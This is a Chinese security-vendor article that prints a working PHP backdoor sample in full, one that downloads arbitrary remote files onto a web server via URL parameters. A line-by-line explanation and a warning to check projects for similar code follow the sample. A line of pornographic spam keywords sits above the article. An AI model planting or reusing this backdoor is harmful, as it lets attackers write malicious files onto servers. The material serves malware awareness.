亚洲欧美日韩国产精品一区二区,亚洲av无码一区二区乱子伦as,亚洲精品天堂成人片av在线播放,亚洲欧美成人久久一区,亚洲蜜桃v妇女

當(dāng)前位置:首頁 ? 行業(yè)動(dòng)態(tài) ? 正文

惡意PHP后門代碼樣本:通過URL參數(shù)直接下載文件到服務(wù)器

惡意PHP后門代碼樣本:通過URL參數(shù)直接下載文件到服務(wù)器

以下代碼請(qǐng)勿在線上環(huán)境執(zhí)行,避免出現(xiàn)無法預(yù)計(jì)的問題,京策盾對(duì)以下代碼只做分享惡意樣本用途,不承擔(dān)任何實(shí)際使用可能帶來的后果

 

  1. <?php
  2. set_time_limit(0);
  3. if(isset($_GET['url']) && isset($_GET['filename'])){
  4. if(httpcopy($_GET['url'], $_GET['filename'])){
  5. echo("Done.");
  6. }else{
  7. echo("Down Error.");
  8. }
  9. }else{
  10. die('Input error.');
  11. }
  12. function httpcopy($url, $file="", $timeout=60) {
  13. $file = empty($file) ? pathinfo($url,PATHINFO_BASENAME) : $file;
  14. $dir = pathinfo($file,PATHINFO_DIRNAME);
  15. !is_dir($dir) && @mkdir($dir,0755,true);
  16. $url = str_replace(" ","%20",$url);
  17. if(function_exists('curl_init')) {
  18. echo "curl ";
  19. $ch = curl_init();
  20. curl_setopt($ch, CURLOPT_URL, $url);
  21. curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
  22. curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
  23. $temp = curl_exec($ch);
  24. if(@file_put_contents($file, $temp) && !curl_error($ch)) {
  25. return $file;
  26. } else {
  27. return false;
  28. }
  29. } else {
  30. echo "copy ";
  31. $opts = array(
  32. "http"=>array(
  33. "method"=>"GET",
  34. "header"=>"",
  35. "timeout"=>$timeout)
  36. );
  37. $context = stream_context_create($opts);
  38. if(@copy($url, $file, $context)) {
  39. //$http_response_header
  40. return $file;
  41. } else {
  42. return false;
  43. }
  44. }
  45. }
  46. ?>

 

這段代碼是PHP語言編寫的,它的作用是從一個(gè)指定的URL下載文件,并將其保存到服務(wù)器上。下面是代碼的逐行解釋:

  1. set_time_limit(0);?– 設(shè)置腳本的執(zhí)行時(shí)間無限制,這樣腳本可以運(yùn)行任意長(zhǎng)的時(shí)間。
  2. if(isset($_GET['url']) && isset($_GET['filename'])){?– 檢查是否有GET請(qǐng)求的參數(shù)urlfilename。
  3. if(httpcopy($_GET['url'], $_GET['filename'])){?– 如果httpcopy函數(shù)成功執(zhí)行,即文件下載成功。
  4. echo("Done.");?– 輸出“Done.”表示文件下載并保存成功。
  5. }else{?– 如果httpcopy函數(shù)執(zhí)行失敗。
  6. echo("Down Error.");?– 輸出“Down Error.”表示下載過程中出現(xiàn)了錯(cuò)誤。
  7. }else{?– 如果沒有GET請(qǐng)求的參數(shù)urlfilename。
  8. die('Input error.');?– 終止腳本執(zhí)行并輸出“Input error.”表示輸入錯(cuò)誤。
  9. function httpcopy($url, $file="", $timeout=60) {?– 定義了一個(gè)名為httpcopy的函數(shù),它接受三個(gè)參數(shù):文件的URL、文件名(可選,默認(rèn)為空),以及超時(shí)時(shí)間(默認(rèn)60秒)。
  10. $file = empty($file) ? pathinfo($url,PATHINFO_BASENAME) : $file;?– 如果沒有提供文件名,就使用URL的最后一部分作為文件名。
  11. $dir = pathinfo($file,PATHINFO_DIRNAME);?– 獲取文件名的目錄路徑。
  12. !is_dir($dir) && @mkdir($dir,0755,true);?– 如果目錄不存在,則創(chuàng)建目錄,權(quán)限設(shè)置為755。
  13. $url = str_replace(" ","%20",$url);?– 將URL中的空格替換為%20,因?yàn)閁RL中不能直接包含空格。
  14. if(function_exists('curl_init')) {?– 檢查服務(wù)器是否支持cURL。
  15. echo "curl ";?– 如果支持cURL,輸出“curl”。
  16. 使用cURL進(jìn)行文件下載,如果成功則保存到指定的文件路徑。
  17. else {?– 如果服務(wù)器不支持cURL。
  18. echo "copy ";?– 輸出“copy”。
  19. 使用PHP的stream_context_createcopy函數(shù)進(jìn)行文件下載,如果成功則保存到指定的文件路徑。
  20. }?– 函數(shù)定義結(jié)束。

這段代碼存在安全風(fēng)險(xiǎn),因?yàn)樗试S通過URL參數(shù)直接下載文件到服務(wù)器,這可能會(huì)導(dǎo)致惡意文件被下載和執(zhí)行。在實(shí)際應(yīng)用中,這樣的腳本應(yīng)該進(jìn)行嚴(yán)格的安全檢查和限制。

 

同時(shí)您也可以檢查您的項(xiàng)目文件內(nèi)是否有類似語法的文件,避免您的項(xiàng)目被掛馬與入侵

分享到
上一篇
下一篇

相關(guān)推薦

聯(lián)系我們

kakuyunke

復(fù)制已復(fù)制
4692403復(fù)制已復(fù)制
kefu#0ka.co復(fù)制已復(fù)制
微信小程序
kakuyunke復(fù)制已復(fù)制
關(guān)注官方微信,了解最新資訊
contact-img
客服QQ
在線客服